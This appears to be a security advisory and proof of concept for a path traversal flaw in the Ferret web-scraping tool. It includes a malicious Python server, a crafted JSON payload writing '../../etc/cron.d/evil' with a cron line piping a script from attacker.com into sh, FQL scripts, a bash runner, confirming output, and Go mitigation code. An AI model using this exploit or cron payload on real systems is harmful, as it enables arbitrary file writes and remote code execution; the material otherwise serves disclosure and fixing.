PHP EUVD-2026-19353

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "
# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

# Terminal 1: start malicious server
python3 poc/evil_server.py
# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh
# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
# * * * * * root curl http://attacker.com/shell.sh | sh

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

data, err := os.ReadFile(path.String())